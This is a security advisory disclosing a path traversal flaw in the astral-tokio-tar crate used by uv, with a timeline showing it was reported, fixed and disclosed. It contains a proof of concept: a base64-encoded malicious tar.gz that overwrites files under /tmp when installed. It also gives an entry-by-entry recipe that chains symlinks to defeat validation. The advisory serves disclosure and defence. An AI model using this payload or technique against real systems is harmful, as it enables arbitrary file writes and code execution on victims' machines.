**security-research** Public

# “Astral-tokio-tar” / “uv” Arbitrary Write Path Traversal Vulnerability

## Package

## Affected versions

## Patched versions

## Description

### Summary

“astral-tokio-tar”, a Rust crate used by the popular tool “uv”, has a vulnerability that allows arbitrary file writes when unpacking tar files. In “uv” this vulnerability allows a Python source distribution to write anywhere during extraction.

This vulnerability is primarily due to astral-tokio-tar’s support of symlinks and the “memoized set” behavior that skips path validation on previously observed and validated paths.

Since a symlink can point to a directory, and can be changed by having multiple entries in the tar file, it is possible to create a symlink to a benign directory under the destination path, have it validated, added to the memoized set, and then change the symlink to another arbitrary directory anywhere on disk.

Additionally a symlink that points to an arbitrary directory and bypasses any validation can be created by using two symlinks, where the first symlink created depends on the second symlink to bypass validation.

This vulnerability allows an attacker to generate tar files that can create or change arbitrary files on the filesystem.

### Severity

Medium – Due to the potential for arbitrary code execution.

### Proof of Concept

“`
mkdir /tmp/flag $ echo “hello” > /tmp/flag/flag $ ls /tmp/flag flag $ echo “H4sICOmxkWgCA2R1bW15cGFja2FnZS0wLjAuMS50YXIA7Zhra9swGIX92b9C86cNGsWSZasLbeku7MJYVxjsSwlBSdTUm29znLZh7L9PcrIm3ZousNQN7XkIsZFesMl5j44U2qbtw2N1+U6roS6dO8Gfserq+4FY3Ntx5nPGHXLpNMBkXKnSPN55nPBdklZxqveZDEUgpdiVNOAB5xF3HfDgGU7SdFqowTc10i2f+pS1l4favV6cxVWvR4vpf/k/EmK1/5l0WOgLEfBImHufhZFkDvHh/zunKOOseuq9tpp7z2D5xwbdivwP/s5/hvxvJP/l9fwPeUDl8yiUu1gLHmn+F9OizL/qQUWrPE025P/b8j8IxSL/I1PHhF0SkP8NcNKfxMmwNZ6OK5123VJ/n8SlHpN9cuKdJmbnN8hLTQ72A8p39oTXdWf1fdMxOhuaskUVradUEXuuezJvoa6bqVTbsuVG81w1qc7ysn7Mj98Vr1Si++RlmV9k3g7RqYoTOzyww307ejjK81Gi6SBPvZ9d91yX4zjPbE3duJ471ONBGRfVfNQIOybKvP6ZKofmpeD2tfx//OFt6/3Rm08bzf/b/M999kf+cxYI+L8JPupKDVWlWl9mbuoQToV7ZCzZIcu94V7N103ifjZzqpx2yDWTuS9qX7dq83bIkqPJ3o0+PoApt+/8rwf5tL3h/b/ZWTr1ST9k8yu/5vlZ/ge+YOYswKJAcIeETfp/0Z431/1r/gHt/6oNnwNn+sv19A/t/k/6LHQIrzsR+jev/+w/wI3mfyTW018yqz9jTec/9N8K/0e+Wf8DLiLr/yzPi/a6X5Su/FRp0T5N1Aj6r6O//TXvSX8ujfQ2/zmTRn8K/9/T+r/KLXez/jN+5X/JudU/klj/GyE/1+VFGVcaBzGc/xb+z/TFaZzopvzPFv4PrP+lwP6vGeZCP4H9AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYfn4BXGg1JABQAAA=” | base64 -d > dummypackage-0.0.1.tar.gz $ mkdir test $ cd test $ uv venv env $ . env/bin/activate $ uv pip install ../[dummypackage-0.0.1.tar.gz](http://dummypackage-0.0.1.tar.gz/) Using Python 3.12.3 environment at: env Resolved 1 package in 5ms Built dummypackage @ file:///home/calebbrown/dummypackage-0.0.1.tar.gz Prepared 1 package in 474ms Installed 1 package in 0.95ms + dummypackage==0.0.1 (from file:///home/calebbrown/dummypackage-0.0.1.tar.gz) $ ls /tmp/flag flag newfile $ cat /tmp/flag/flag overwrite $ cat /tmp/flag/newfile newfile!
“`

### Further Analysis

#### Root Cause

##### Parent Memorization

The “astral-tokio-tar” method `Entry.unpack_in_raw()` was added to the library in v0.5.0 to allow a memoized set to be passed in as an argument, to improve the performance of filesystem operations.

In “uv”, the method `untar_in()` in uv-extract creates a memoized set and uses the same set while extracting every entry in a tar file with `Entry.unpack_in_raw()`.

The memoized set is used in `EntryFields.unpack_in()` with the following logic:

“`
// Validate the parent, if we haven’t seen it yet. if !memo.contains(parent) { self.ensure_dir_created(dst, parent).await.map_err(|e| { TarError::new(format!(“failed to create `{}`”, parent.display()), e) })?; self.validate_inside_dst(dst, parent).await?; memo.insert(parent.to_path_buf()); }
“`

In this context `parent` is the parent directory for the entry currently being extracted. So, if `file_dst` is `”path/to/file.txt”` then `parent` would be `”path/to”`.

The call to `self.validate_inside_dst(dst, parent)` is only made if `parent` is not yet in `memo`.

We can use a symlink to change the effective `parent`, after it has been added to `memo`.

Symlinks allow other paths to be referred to indirectly using a file-like object. This means that a path, using a symlink can have a `parent` that passes the validation, populating `parent` in `memo`.

The symlink can then be replaced with another symlink, and since the name of the symlink has not changed, the check is now skipped.

##### Symlink Check Bypass

astral-tokio-tar has a check guarded by the `allow_external_symlinks` flag that attempts to ensure that symlinks do not point outside the destination directory `dst`. However, this check can also be bypassed by creating the two symlinks below in order:

1. `”ptr”`-> `”noop/noop/noop/noop/noop/noop/noop/noop/noop/../../../../../../../../../tmp”` 1. This path passes the symlink check as it evaluates “tmp”, under the destination directory.
2. `”noop”`-> “.”

2. This path also passes the symlink check as it evaluates to the destination directory.

After they have both been created `”ptr”` now effectively points to `”./../../../../../../../../../tmp”`, which is likely outside the destination directory.

##### Putting it Together

The following tar entries can now be used for arbitrary writes:

1. Directory `”decoy”`.
1. The directory “{dst}/decoy” is created.
2. Symlink `”ptr”`-> `”decoy”`.

2. The symlink `”{dst}/ptr”` is created.
3. Empty file `”ptr/dummy”`.

3. The file `”{dst}/ptr/dummy”` is extracted (i.e `”{dst}/decoy/dummy”)`.

3. This write also causes `”{dst}/ptr”` to be inserted into memo.
4. Symlink `”ptr”`-> `”noop/noop/noop/noop/noop/noop/noop/noop/noop/../../../../../../../../../tmp”`.

4. The symlink `”{dst}/ptr”` is replaced.
5. Symlink `”noop”`-> `”.”`.

5. The symlink `”{dst}/noop”` is created.

5. `”ptr”` now points to `”{dst}/./../../../../../../../../../tmp”`.
6. Malicious payload file `”ptr/payload”`.

6. The file `”{dst}/ptr/payload”` is extracted (i.e. `”/tmp/payload”`).

6. Validation on `”{dst}/ptr”` is skipped as it has already been added to `memo`.

GHSA-7j9j-68r2-f35q

GHSA-3wgq-wrwc-vqmv

### Timeline

**Date reported**: 08/11/2025

**Date fixed**: 09/23/2025

**Date disclosed**: 11/17/2025